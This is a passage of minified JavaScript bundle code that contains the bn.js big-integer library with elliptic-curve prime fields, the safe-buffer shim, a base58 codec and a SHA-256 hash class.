>0;)(A.isOdd()||C.isOdd())&&(A.iadd(y),C.isub(T)),A.iushrn(1),C.iushrn(1);for(var re=0,de=1;!(w.words[0]&de)&&re<26;++re,de<<=1);if(re>0)for(w.iushrn(re);re-- >0;)(S.isOdd()||z.isOdd())&&(S.iadd(y),z.isub(T)),S.iushrn(1),z.iushrn(1);b.cmp(w)>=0?(b.isub(w),A.isub(S),C.isub(z)):(w.isub(b),S.isub(A),z.isub(C))}return{a:S,b:z,gcd:w.iushln(k)}},i.prototype._invmp=function(h){r(h.negative===0),r(!h.isZero());var b=this,w=h.clone();b.negative!==0?b=b.umod(h):b=b.clone();for(var A=new i(1),C=new i(0),S=w.clone();b.cmpn(1)>0&&w.cmpn(1)>0;){for(var z=0,k=1;!(b.words[0]&k)&&z<26;++z,k<<=1);if(z>0)for(b.iushrn(z);z-- >0;)A.isOdd()&&A.iadd(S),A.iushrn(1);for(var y=0,T=1;!(w.words[0]&T)&&y<26;++y,T<<=1);if(y>0)for(w.iushrn(y);y-- >0;)C.isOdd()&&C.iadd(S),C.iushrn(1);b.cmp(w)>=0?(b.isub(w),A.isub(C)):(w.isub(b),C.isub(A))}var te;return b.cmpn(1)===0?te=A:te=C,te.cmpn(0)<0&&te.iadd(h),te},i.prototype.gcd=function(h){if(this.isZero())return h.abs();if(h.isZero())return this.abs();var b=this.clone(),w=h.clone();b.negative=0,w.negative=0;for(var A=0;b.isEven()&&w.isEven();A++)b.iushrn(1),w.iushrn(1);do{for(;b.isEven();)b.iushrn(1);for(;w.isEven();)w.iushrn(1);var C=b.cmp(w);if(C<0){var S=b;b=w,w=S}else if(C===0||w.cmpn(1)===0)break;b.isub(w)}while(!0);return w.iushln(A)},i.prototype.invm=function(h){return this.egcd(h).a.umod(h)},i.prototype.isEven=function(){return(this.words[0]&1)===0},i.prototype.isOdd=function(){return(this.words[0]&1)===1},i.prototype.andln=function(h){return this.words[0]&h},i.prototype.bincn=function(h){r(typeof h=="number");var b=h%26,w=(h-b)/26,A=1<<b;if(this.length<=w)return this._expand(w+1),this.words[w]|=A,this;for(var C=A,S=w;C!==0&&S<this.length;S++){var z=this.words[S]|0;z+=C,C=z>>>26,z&=67108863,this.words[S]=z}return C!==0&&(this.words[S]=C,this.length++),this},i.prototype.isZero=function(){return this.length===1&&this.words[0]===0},i.prototype.cmpn=function(h){var b=h<0;if(this.negative!==0&&!b)return-1;if(this.negative===0&&b)return 1;this._strip();var w;if(this.length>1)w=1;else{b&&(h=-h),r(h<=67108863,"Number is too big");var A=this.words[0]|0;w=A===h?0:A<h?-1:1}return this.negative!==0?-w|0:w},i.prototype.cmp=function(h){if(this.negative!==0&&h.negative===0)return-1;if(this.negative===0&&h.negative!==0)return 1;var b=this.ucmp(h);return this.negative!==0?-b|0:b},i.prototype.ucmp=function(h){if(this.length>h.length)return 1;if(this.length<h.length)return-1;for(var b=0,w=this.length-1;w>=0;w--){var A=this.words[w]|0,C=h.words[w]|0;if(A!==C){A<C?b=-1:A>C&&(b=1);break}}return b},i.prototype.gtn=function(h){return this.cmpn(h)===1},i.prototype.gt=function(h){return this.cmp(h)===1},i.prototype.gten=function(h){return this.cmpn(h)>=0},i.prototype.gte=function(h){return this.cmp(h)>=0},i.prototype.ltn=function(h){return this.cmpn(h)===-1},i.prototype.lt=function(h){return this.cmp(h)===-1},i.prototype.lten=function(h){return this.cmpn(h)<=0},i.prototype.lte=function(h){return this.cmp(h)<=0},i.prototype.eqn=function(h){return this.cmpn(h)===0},i.prototype.eq=function(h){return this.cmp(h)===0},i.red=function(h){return new U(h)},i.prototype.toRed=function(h){return r(!this.red,"Already a number in reduction context"),r(this.negative===0,"red works only with positives"),h.convertTo(this)._forceRed(h)},i.prototype.fromRed=function(){return r(this.red,"fromRed works only with numbers in reduction context"),this.red.convertFrom(this)},i.prototype._forceRed=function(h){return this.red=h,this},i.prototype.forceRed=function(h){return r(!this.red,"Already a number in reduction context"),this._forceRed(h)},i.prototype.redAdd=function(h){return r(this.red,"redAdd works only with red numbers"),this.red.add(this,h)},i.prototype.redIAdd=function(h){return r(this.red,"redIAdd works only with red numbers"),this.red.iadd(this,h)},i.prototype.redSub=function(h){return r(this.red,"redSub works only with red numbers"),this.red.sub(this,h)},i.prototype.redISub=function(h){return r(this.red,"redISub works only with red numbers"),this.red.isub(this,h)},i.prototype.redShl=function(h){return r(this.red,"redShl works only with red numbers"),this.red.shl(this,h)},i.prototype.redMul=function(h){return r(this.red,"redMul works only with red numbers"),this.red._verify2(this,h),this.red.mul(this,h)},i.prototype.redIMul=function(h){return r(this.red,"redMul works only with red numbers"),this.red._verify2(this,h),this.red.imul(this,h)},i.prototype.redSqr=function(){return r(this.red,"redSqr works only with red numbers"),this.red._verify1(this),this.red.sqr(this)},i.prototype.redISqr=function(){return r(this.red,"redISqr works only with red numbers"),this.red._verify1(this),this.red.isqr(this)},i.prototype.redSqrt=function(){return r(this.red,"redSqrt works only with red numbers"),this.red._verify1(this),this.red.sqrt(this)},i.prototype.redInvm=function(){return r(this.red,"redInvm works only with red numbers"),this.red._verify1(this),this.red.invm(this)},i.prototype.redNeg=function(){return r(this.red,"redNeg works only with red numbers"),this.red._verify1(this),this.red.neg(this)},i.prototype.redPow=function(h){return r(this.red&&!h.red,"redPow(normalNum)"),this.red._verify1(this),this.red.pow(this,h)};var R={k256:null,p224:null,p192:null,p25519:null};function K(L,h){this.name=L,this.p=new i(h,16),this.n=this.p.bitLength(),this.k=new i(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}K.prototype._tmp=function(){var h=new i(null);return h.words=new Array(Math.ceil(this.n/13)),h},K.prototype.ireduce=function(h){var b=h,w;do this.split(b,this.tmp),b=this.imulK(b),b=b.iadd(this.tmp),w=b.bitLength();while(w>this.n);var A=w<this.n?-1:b.ucmp(this.p);return A===0?(b.words[0]=0,b.length=1):A>0?b.isub(this.p):b.strip!==void 0?b.strip():b._strip(),b},K.prototype.split=function(h,b){h.iushrn(this.n,0,b)},K.prototype.imulK=function(h){return h.imul(this.k)};function W(){K.call(this,"k256","ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f")}o(W,K),W.prototype.split=function(h,b){for(var w=4194303,A=Math.min(h.length,9),C=0;C<A;C++)b.words[C]=h.words[C];if(b.length=A,h.length<=9){h.words[0]=0,h.length=1;return}var S=h.words[9];for(b.words[b.length++]=S&w,C=10;C<h.length;C++){var z=h.words[C]|0;h.words[C-10]=(z&w)<<4|S>>>22,S=z}S>>>=22,h.words[C-10]=S,S===0&&h.length>10?h.length-=10:h.length-=9},W.prototype.imulK=function(h){h.words[h.length]=0,h.words[h.length+1]=0,h.length+=2;for(var b=0,w=0;w<h.length;w++){var A=h.words[w]|0;b+=A*977,h.words[w]=b&67108863,b=A*64+(b/67108864|0)}return h.words[h.length-1]===0&&(h.length--,h.words[h.length-1]===0&&h.length--),h};function j(){K.call(this,"p224","ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001")}o(j,K);function H(){K.call(this,"p192","ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff")}o(H,K);function P(){K.call(this,"25519","7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed")}o(P,K),P.prototype.imulK=function(h){for(var b=0,w=0;w<h.length;w++){var A=(h.words[w]|0)*19+b,C=A&67108863;A>>>=26,h.words[w]=C,b=A}return b!==0&&(h.words[h.length++]=b),h},i._prime=function(h){if(R[h])return R[h];var b;if(h==="k256")b=new W;else if(h==="p224")b=new j;else if(h==="p192")b=new H;else if(h==="p25519")b=new P;else throw new Error("Unknown prime "+h);return R[h]=b,b};function U(L){if(typeof L=="string"){var h=i._prime(L);this.m=h.p,this.prime=h}else r(L.gtn(1),"modulus must be greater than 1"),this.m=L,this.prime=null}U.prototype._verify1=function(h){r(h.negative===0,"red works only with positives"),r(h.red,"red works only with red numbers")},U.prototype._verify2=function(h,b){r((h.negative|b.negative)===0,"red works only with positives"),r(h.red&&h.red===b.red,"red works only with red numbers")},U.prototype.imod=function(h){return this.prime?this.prime.ireduce(h)._forceRed(this):(c(h,h.umod(this.m)._forceRed(this)),h)},U.prototype.neg=function(h){return h.isZero()?h.clone():this.m.sub(h)._forceRed(this)},U.prototype.add=function(h,b){this._verify2(h,b);var w=h.add(b);return w.cmp(this.m)>=0&&w.isub(this.m),w._forceRed(this)},U.prototype.iadd=function(h,b){this._verify2(h,b);var w=h.iadd(b);return w.cmp(this.m)>=0&&w.isub(this.m),w},U.prototype.sub=function(h,b){this._verify2(h,b);var w=h.sub(b);return w.cmpn(0)<0&&w.iadd(this.m),w._forceRed(this)},U.prototype.isub=function(h,b){this._verify2(h,b);var w=h.isub(b);return w.cmpn(0)<0&&w.iadd(this.m),w},U.prototype.shl=function(h,b){return this._verify1(h),this.imod(h.ushln(b))},U.prototype.imul=function(h,b){return this._verify2(h,b),this.imod(h.imul(b))},U.prototype.mul=function(h,b){return this._verify2(h,b),this.imod(h.mul(b))},U.prototype.isqr=function(h){return this.imul(h,h.clone())},U.prototype.sqr=function(h){return this.mul(h,h)},U.prototype.sqrt=function(h){if(h.isZero())return h.clone();var b=this.m.andln(3);if(r(b%2===1),b===3){var w=this.m.add(new i(1)).iushrn(2);return this.pow(h,w)}for(var A=this.m.subn(1),C=0;!A.isZero()&&A.andln(1)===0;)C++,A.iushrn(1);r(!A.isZero());var S=new i(1).toRed(this),z=S.redNeg(),k=this.m.subn(1).iushrn(1),y=this.m.bitLength();for(y=new i(2*y*y).toRed(this);this.pow(y,k).cmp(z)!==0;)y.redIAdd(z);for(var T=this.pow(y,A),te=this.pow(h,A.addn(1).iushrn(1)),le=this.pow(h,A),re=C;le.cmp(S)!==0;){for(var de=le,ce=0;de.cmp(S)!==0;ce++)de=de.redSqr();r(ce<re);var we=this.pow(T,new i(1).iushln(re-ce-1));te=te.redMul(we),T=we.redSqr(),le=le.redMul(T),re=ce}return te},U.prototype.invm=function(h){var b=h._invmp(this.m);return b.negative!==0?(b.negative=0,this.imod(b).redNeg()):this.imod(b)},U.prototype.pow=function(h,b){if(b.isZero())return new i(1).toRed(this);if(b.cmpn(1)===0)return h.clone();var w=4,A=new Array(1<<w);A[0]=new i(1).toRed(this),A[1]=h;for(var C=2;C<A.length;C++)A[C]=this.mul(A[C-1],h);var S=A[0],z=0,k=0,y=b.bitLength()%26;for(y===0&&(y=26),C=b.length-1;C>=0;C--){for(var T=b.words[C],te=y-1;te>=0;te--){var le=T>>te&1;if(S!==A[0]&&(S=this.sqr(S)),le===0&&z===0){k=0;continue}z<<=1,z|=le,k++,!(k!==w&&(C!==0||te!==0))&&(S=this.mul(S,A[z]),k=0,z=0)}y=26}return S},U.prototype.convertTo=function(h){var b=h.umod(this.m);return b===h?b.clone():b},U.prototype.convertFrom=function(h){var b=h.clone();return b.red=null,b},i.mont=function(h){return new X(h)};function X(L){U.call(this,L),this.shift=this.m.bitLength(),this.shift%26!==0&&(this.shift+=26-this.shift%26),this.r=new i(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}o(X,U),X.prototype.convertTo=function(h){return this.imod(h.ushln(this.shift))},X.prototype.convertFrom=function(h){var b=this.imod(h.mul(this.rinv));return b.red=null,b},X.prototype.imul=function(h,b){if(h.isZero()||b.isZero())return h.words[0]=0,h.length=1,h;var w=h.imul(b),A=w.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),C=w.isub(A).iushrn(this.shift),S=C;return C.cmp(this.m)>=0?S=C.isub(this.m):C.cmpn(0)<0&&(S=C.iadd(this.m)),S._forceRed(this)},X.prototype.mul=function(h,b){if(h.isZero()||b.isZero())return new i(0)._forceRed(this);var w=h.mul(b),A=w.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),C=w.isub(A).iushrn(this.shift),S=C;return C.cmp(this.m)>=0?S=C.isub(this.m):C.cmpn(0)<0&&(S=C.iadd(this.m)),S._forceRed(this)},X.prototype.invm=function(h){var b=this.imod(h._invmp(this.m).mul(this.r2));return b._forceRed(this)}})(e,er)})(Wb);var O5=Wb.exports;const rw=_n(O5);var ag={exports:{}};/*! safe-buffer. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> */(function(e,t){var n=dm,r=n.Buffer;function o(s,a){for(var l in s)a[l]=s[l]}r.from&&r.alloc&&r.allocUnsafe&&r.allocUnsafeSlow?e.exports=n:(o(n,t),t.Buffer=i);function i(s,a,l){return r(s,a,l)}i.prototype=Object.create(r.prototype),o(r,i),i.from=function(s,a,l){if(typeof s=="number")throw new TypeError("Argument must not be a number");return r(s,a,l)},i.alloc=function(s,a,l){if(typeof s!="number")throw new TypeError("Argument must be a number");var u=r(s);return a!==void 0?typeof l=="string"?u.fill(a,l):u.fill(a):u.fill(0),u},i.allocUnsafe=function(s){if(typeof s!="number")throw new TypeError("Argument must be a number");return r(s)},i.allocUnsafeSlow=function(s){if(typeof s!="number")throw new TypeError("Argument must be a number");return n.SlowBuffer(s)}})(ag,ag.exports);var z5=ag.exports,Of=z5.Buffer;function K5(e){if(e.length>=255)throw new TypeError("Alphabet too long");for(var t=new Uint8Array(256),n=0;n<t.length;n++)t[n]=255;for(var r=0;r<e.length;r++){var o=e.charAt(r),i=o.charCodeAt(0);if(t[i]!==255)throw new TypeError(o+" is ambiguous");t[i]=r}var s=e.length,a=e.charAt(0),l=Math.log(s)/Math.log(256),u=Math.log(256)/Math.log(s);function c(m){if((Array.isArray(m)||m instanceof Uint8Array)&&(m=Of.from(m)),!Of.isBuffer(m))throw new TypeError("Expected Buffer");if(m.length===0)return"";for(var g=0,v=0,I=0,q=m.length;I!==q&&m[I]===0;)I++,g++;for(var M=(q-I)*u+1>>>0,E=new Uint8Array(M);I!==q;){for(var x=m[I],R=0,K=M-1;(x!==0||R<v)&&K!==-1;K--,R++)x+=256*E[K]>>>0,E[K]=x%s>>>0,x=x/s>>>0;if(x!==0)throw new Error("Non-zero carry");v=R,I++}for(var W=M-v;W!==M&&E[W]===0;)W++;for(var j=a.repeat(g);W<M;++W)j+=e.charAt(E[W]);return j}function f(m){if(typeof m!="string")throw new TypeError("Expected String");if(m.length===0)return Of.alloc(0);for(var g=0,v=0,I=0;m[g]===a;)v++,g++;for(var q=(m.length-g)*l+1>>>0,M=new Uint8Array(q);m[g];){var E=t[m.charCodeAt(g)];if(E===255)return;for(var x=0,R=q-1;(E!==0||x<I)&&R!==-1;R--,x++)E+=s*M[R]>>>0,M[R]=E%256>>>0,E=E/256>>>0;if(E!==0)throw new Error("Non-zero carry");I=x,g++}for(var K=q-I;K!==q&&M[K]===0;)K++;var W=Of.allocUnsafe(v+(q-K));W.fill(0,0,v);for(var j=v;K!==q;)W[j++]=M[K++];return W}function p(m){var g=f(m);if(g)return g;throw new Error("Non-base"+s+" character")}return{encode:c,decodeUnsafe:f,decode:p}}var R5=K5,L5=R5,Z5="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz",fM=L5(Z5);const Qn=_n(fM),T5=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]),Ks=new Uint32Array([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]),Rs=new Uint32Array(64);class N5 extends eM{constructor(){super(64,32,8,!1),this.A=Ks[0]|0,this.B=Ks[1]|0,this.C=Ks[2]|0,this.D=Ks[3]|0,this.E=Ks[4]|0,this.F=Ks[5]|0,this.G=Ks[6]|0,this.H=Ks[7]|0}get(){const{A:t,B:n,C:r,D:o,E:i,F:s,G:a,H:l}=this;return[t,n,r,o,i,s,a,l]}set(t,n,r,o,i,s,a,l){this.A=t|0,this.B=n|0,this.C=r|0,this.D=o|0,this.E=i|0,this.F=s|0,this.G=a|0,this.H=l|0}process(t,n){for(let f=0;f<16;f++,n+=4)Rs[f]=t.getUint32(n,!1);for(let f=16;f<64;f++){const p=Rs[f-15],m=Rs[f-2],g=Ii(p,7)^Ii(p,18)^p>>>3,v=Ii(m,17)^Ii(m,19)^m>>>10;Rs[f]=v+Rs[f-7]+g+Rs[f-16]|0}let{A:r,B:o,C:i,D:s,E:a,F:l,G:u,H:c}=this;for(let f=0;f<64;f++){const p=Ii(a,6)^Ii(a,11)^Ii(a,25),m=c+p+AR(a,l,u)+T5[f]+Rs[f]|0,v=(Ii(r,2)^Ii(r,13)^Ii(r,22))+MR(r,o,i)|0;c=u,u=l,l=a,a=s+m|0,s=i,i=o,o=r,r=m+v|0}r=r+this.A|0,o=o+this.B|0,i=i+this.C|0,s=s+this.D|0,a=a+this.E|0,l=l+this.F|0,u=u+this.G|0,c=c+this.H|0,this.set(r,o,i,s,a,l,u,c)}roundClean(){Rs.fill(0)}destroy(){this.set(0,0,0,0,0,0,0,0),this.buffer.fill(0)}}const lg=_A(()=>new N5);var Cr={},Gb={exports:{}};Gb.exports;(function(e){(function(t,n){function r(L,h){if(!L)throw new Error(h||"Assertion failed")}function o(L,h){L.super_=h;var b=function(){};b.prototype=h.prototype,L.prototype=new b,L.prototype.constructor=L}function i(L,h,b){if(i.isBN(L))return L;this.negative=0,this.words=null,this.length=0,this.red=null,L!==null&&((h==="le"||h==="be")&&(b=h,h=10),this._init(L||0,h||10,b||"be"))}typeof t=="object"?t.exports=i:n.BN=i,i.BN=i,i.wordSize=26;var s;try{typeof window<"u"&&typeof window.Buffer<"u"?s=window.Buffer:s=dm.Buffer}catch{}i.isBN=function(h){return h instanceof i?!0:h!==null&&typeof h=="object"&&h.constructor.wordSize===i.wordSize&&Array.isArray(h.words)},i.max=function(h,b){return h.cmp(b)>0?h:b},i.min=function(h,b){return h.cmp(b)<0?h:b},i.prototype._init=function(h,b,w){if(typeof h=="number")return this._initNumber(h,b,w);if(typeof h=="object")return this._initArray(h,b,w);b==="hex"&&(b=16),r(b===(b|0)&&b>=2&&b<=36),h=h.toString().replace(/\s+/g,"");var A=0;h[0]==="-"&&(A++,this.negative=1),A<h.length&&(b===16?this._parseHex(h,A,w):(this._parseBase(h,b,A),w==="le"&&this._initArray(this.toArray(),b,w)))},i.prototype._initNumber=function(h,b,w){h<0&&(this.negative=1,h=-h),h<67108864?(this.words=[h&67108863],this.length=1):h<4503599627370496?(this.words=[h&67108863,h/67108864&67108863],this.length=2):(r(h<9007199254740992),this.words=[h&67108863,h/67108864&67108863,1],this.length=3),w==="le"&&this._initArray(this.toArray(),b,w)},i.prototype._initArray=function(h,b,w){if(r(typeof h.length=="number"),h.length<=0)return this.words=[0],this.length=1,this;this.length=Math.ceil(h.length/3),this.words=new Array(this.length);for(var A=0;A<this.length;A++)this.words[A]=0;var C,S,z=0;if(w==="be")for(A=h.length-1,C=0;A>=0;A-=3)S=h[A]|h[A-1]<<8|h[A-2]<<16,this.words[C]|=S<<z&67108863,this.words[C+1]=S>>>26-z&67108863,z+=24,z>=26&&(z-=26,C++);else if(w==="le")for(A=0,C=0;A<h.length;A+=3)S=h[A]|h[A+1]<<8|h[A+2]<<16,this.words[C]|=S<<z&67108863,this.words[C+1]=S>>>26-z&67108863,z+=24,z>=26&&(z-=26,C++);return this._strip()};function a(L,h){var b=L.charCodeAt(h);if(b>=48&&b<=57)return b-48;if(b>=65&&b<=70)return b-55;if(b>=97&&b<=102)return b-87;r(!1,"Invalid character in "+L)}function l(L,h,b){var w=a(L,b);return b-1>=h&&(w|=a(L,b-1)<<4),w}i.prototype._parseHex=function(h,b,w){this.length=Math.ceil((h.length-b)/6),this.words=new Array(this.length);for(var A=0;A<this.length;A++)this.words[A]=0;var C=0,S=0,z;if(w==="be")for(A=h.length-1;A>=b;A-=2)z=l(h,b,A)<<C,this.words[S]|=z&67108863,C>=18?(C-=18,S+=1,this.words[S]|=z>>>26):C+=8;else{var k=h.length-b;for(A=k%2===0?b+1:b;A<h.length;A+=2)z=l(h,b,A)<<C,this.words[S]|=z&67108863,C>=18?(C-=18,S+=1,this.words[S]|=z>>>26):C+=8}this._strip()};function u(L,h,b,w){for(var A=0,C=0,S=Math.min(L.length,b),z=h;z<S;z++){var k=L.charCodeAt(z)-48;A*=w,k>=49?C=k-49+10:k>=17?C=k-17+10:C=k,r(k>=0&&C<w,"Invalid character"),A+=C}return A}i.prototype._parseBase=function(h,b,w){this.words=[0],this.length=1;for(var A=0,C=1;C<=67108863;C*=b)A++;A--,C=C/b|0;for(var S=h.length-w,z=S%A,k=Math.min(S,S-z)+w,y=0,T=w;T<k;T+=A)y=u(h,T,T+A,b),this.imuln(C),this.words[0]+y<67108864?this.words[0]+=y:this._iaddn(y);if(z!==0){var te=1;for(y=u(h,T,h.length,b),T=0;T<z;T++)te*=b;this.imuln(te),this.words[0]+y<67108864?this.words[0]+=y:this._iaddn(y)}this._strip()},i.prototype.copy=function(h){h.words=new Array(this.length);for(var b=0;b<this.length;b++)h.words[b]=this.words[b];h.length=this.length,h.negative=this.negative,h.red=this.red};function c(L,h){L.words=h.words,L.length=h.length,L.negative=h.negative,L.red=h.red}if(i.prototype._move=function(h){c(h,this)},i.prototype.clone=function(){var h=new i(null);return this.copy(h),h},i.prototype._expand=function(h){for(;this.length<h;)this.words[this.length++]=0;return this},i.prototype._strip=function(){for(;this.length>1&&this.words[this.length-1]===0;)this.length--;return this._normSign()},i.prototype._normSign=function(){return this.length===1&&this.words[0]===0&&(this.negative=0),this},typeof Symbol<"u"&&typeof Symbol.for=="function")try{i.prototype[Symbol.for("nodejs.util.inspect.custom")]=f}catch{i.prototype.inspect=f}else i.prototype.inspect=f;function f(){return(this.red?"<BN-R: ":"<BN: ")+this.toString(16)+">"}var p=["","0","00","000","0000","00000","000000","0000000","00000000","000000000","0000000000","00000000000","000000000000","0000000000000","00000000000000","000000000000000","0000000000000000","00000000000000000","000000000000000000","0000000000000000000","00000000000000000000","000000000000000000000","0000000000000000000000","00000000000000000000000","000000000000000000000000","0000000000000000000000000"],m=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],g=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];i.prototype.toString=function(h,b){h=h||10,b=b|0||1;var w;if(h===16||h==="hex"){w="";for(var A=0,C=0,S=0;S<this.length;S++){var z=this.words[S],k=((z<<A|C)&16777215).toString(16);C=z>>>24-A&16777215,A+=2,A>=26&&(A-=26,S--),C!==0||S!==this.length-1?w=p[6-k.length]+k+w:w=k+w}for(C!==0&&(w=C.toString(16)+w);w.length%b!==0;)w="0"+w;return this.negative!==0&&(w="-"+w),w}if(h===(h|0)&&h>=2&&h<=36){var y=m[h],T=g[h];w="";var te=this.clone();for(te.negative=0;!te.isZero();){var le=te.modrn(T).toString(h);te=te.idivn(T),te.isZero()?w=le+w:w=p[y-le.length]+le+w}for(this.isZero()&&(w="0"+w);w.length%b!==0;)w="0"+w;return this.negative!==0&&(w="-"+w),w}r(!1,"Base should be between 2 and 36")},i.prototype.toNumber=function(){var h=this.words[0];return this.length===2?h+=this.words[1]*67108864:this.length===3&&this.words[2]===1?h+=4503599627370496+this.words[1]*67108864:this.length>2&&r(!1,"Number can only safely store up to 53 bits"),this.negative!==0?-h:h},i.prototype.toJSON=function(){return this.toString(16,2)},s&&(i.prototype.toBuffer=function(h,b){return this.toArrayLike(s,h,b)}),i.prototype.toArray=function(h,b){return this.toArrayLike(Array,h,b)};var v=function(h,b){return h.allocUnsafe?h.allocUnsafe(b):new h(b)};i.prototype.toArrayLike=function(h,b,w){this._strip();var A=this.byteLength(),C=w||Math.max(1,A);r(A<=C,"byte array longer than desired length"),r(C>0,"Requested array length <= 0");var S=v(h,C),z=b==="le"?"LE":"BE";return this["_toArrayLike"+z](S,A),S},i.prototype._toArrayLikeLE=function(h,b){for(var w=0,A=0,C=0,S=0;C<this.length;C++){var z=this.words[C]<<S|A;h[w++]=z&255,w<h.length&&(h[w++]=z>>8&255),w<h.length&&(h[w++]=z>>16&255),S===6?(w<h.length&&(h[w++]=z>>24&255),A=0,S=0):(A=z>>>24,S+=2)}if(w<h.length)for(h[w++]=A;w<h.length;)h[w++]=0},i.prototype._toArrayLikeBE=function(h,b){for(var w=h.length-1,A=0,C=0,S=0;C<this.length;C++){var z=this.words[C]<<S|A;h[w--]=z&255,w>=0&&(h[w--]=z>>8&255),w>=0&&(h[w--]=z>>16&255),S===6?(w>=0&&(h[w--]=z>>24&255),A=0,S=0):(A=z>>>24,S+=2)}if(w>=0)for(h[w--]=A;w>=0;)h[w--]=0},Math.clz32?i.prototype._countBits=function(h){return 32-Math.clz32(h)}:i.prototype._countBits=function(h){var b=h,w=0;return b>=4096&&(w+=13,b>>>=13),b>=64&&(w+=7,b>>>=7),b>=8&&(w+=4,b>>>=4),b>=2&&(w+=2,b>>>=2),w+b},i.prototype._zeroBits=function(h){if(h===0)return 26;var b=h,w=0;return b&8191||(w+=13,b>>>=13),b&127||(w+=7,b>>>=7),b&15||(w+=4,b>>>=4),b&3||(w+=2,b>>>=2),b&1||w++,w},i.prototype.bitLength=function(){var h=this.words[this.length-1],b=this._countBits(h);return(this.length-1)*26+b};function I(L){for(var h=new Array(L.bitLength()),b=0;b<h.length;b++){var w=b/26|0,A=b%26;h[b]=L.words[w]>>>A&1}return h}i.prototype.zeroBits=function(){if(this.isZero())return 0;for(var h=0,b=0;b<this.length;b++){var w=this._zeroBits(this.words[b]);if(h+=w,w!==26)break}return h},i.prototype.byteLength=function(){return Math.ceil(this.bitLength()/8)},i.prototype.toTwos=function(h){return this.negative!==0?this.abs().inotn(h).iaddn(1):this.clone()},i.prototype.fromTwos=function(h){return this.testn(h-1)?this.notn(h).iaddn(1).ineg():this.clone()},i.prototype.isNeg=function(){return this.negative!==0},i.prototype.neg=function(){return this.clone().ineg()},i.prototype.ineg=function(){return this.isZero()||(this.negative^=1),this},i.prototype.iuor=function(h){for(;this.length<h.length;)this.words[this.length++]=0;for(var b=0;b<h.length;b++)this.words[b]=this.words[b]|h.words[b];return this._strip()},i.prototype.ior=function(h){return r((this.negative|h.negative)===0),this.iuor(h)},i.prototype.or=function(h){return this.length>h.length?this.clone().ior(h):h.clone().ior(this)},i.prototype.uor=function(h){return this.length>h.length?this.clone().iuor(h):h.clone().iuor(this)},i.prototype.iuand=function(h){var b;this.length>h.length?b=h:b=this;for(var w=0;w<b.length;w++)this.words[w]=this.words[w]&h.words[w];return this.length=b.length,this._strip()},i.prototype.iand=function(h){return r((this.negative|h.negative)===0),this.iuand(h)},i.prototype.and=function(h){return this.length>h.length?this.clone().iand(h):h.clone().iand(this)},i.prototype.uand=function(h){return this.length>h.length?this.clone().iuand(h):h.clone().iuand(this)},i.prototype.iuxor=function(h){var b,w;this.length>h.length?(b=this,w=h):(b=h,w=this);for(var A=0;A<w.length;A++)this.words[A]=b.words[A]^w.words[A];if(this!==b)for(;A<b.length;A++)this.words[A]=b.words[A];return this.length=b.length,this._strip()},i.prototype.ixor=function(h){return r((this.negative|h.negative)===0),this.iuxor(h)},i.prototype.xor=function(h){return this.length>h.length?this.clone().ixor(h):h.clone().ixor(this)},i.prototype.uxor=function(h){return this.length>h.length?this.clone().iuxor(h):h.clone().iuxor(this)},i.prototype.inotn=function(h){r(typeof h=="number"&&h>=0);var b=Math.ceil(h/26)|0,w=h%26;this._expand(b),w>0&&b--;for(var A=0;A<b;A++)this.words[A]=~this.words[A]&67108863;return w>0&&(this.words[A]=~this.words[A]&67108863>>26-w),this._strip()},i.prototype.notn=function(h){return this.clone().inotn(h)},i.prototype.setn=function(h,b){r(typeof h=="number"&&h>=0);var w=h/26|0,A=h%26;return this._expand(w+1),b?this.words[w]=this.words[w]|1<<A:this.words[w]=this.words[w]&~(1<<A),this._strip()},i.prototype.iadd=function(h){var b;if(this.negative!==0&&h.negative===0)return this.negative=0,b=this.isub(h),this.negative^=1,this._normSign();if(this.negative===0&&h.negative!==0)return h.negative=0,b=this.isub(h),h.negative=1,b._normSign();var w,A;this.length>h.length?(w=this,A=h):(w=h,A=this);for(var C=0,S=0;S<A.length;S++)b=(w.words[S]|0)+(A.words[S]|0)+C,this.words[S]=b&67108863,C=b>>>26;for(;C!==0&&S<w.length;S++)b=(w.words[S]|0)+C,this.words[S]=b&67108863,C=b>>>26;if(this.length=w.length,C!==0)this.words[this.length]=C,this.length++;else if(w!==this)for(;S<w.length;S++)this.words[S]=w.words[S];return this},i.prototype.add=function(h){var b;return h.negative!==0&&this.negative===0?(h.negative=0,b=this.sub(h),h.negative^=1,b):h.negative===0&&this.negative!==0?(this.negative=0,b=h.sub(this),this.negative=1,b):this.length>h.length?this.clone().iadd(h):h.clone().iadd(this)},i.prototype.isub=function(h){if(h.negative!==0){h.negative=0;var b=this.iadd(h);return h.negative=1,b._normSign()}else if(this.negative!==0)return this.negative=0,this.iadd(h),this.negative=1,this._normSign();var w=this.cmp(h);if(w===0)return 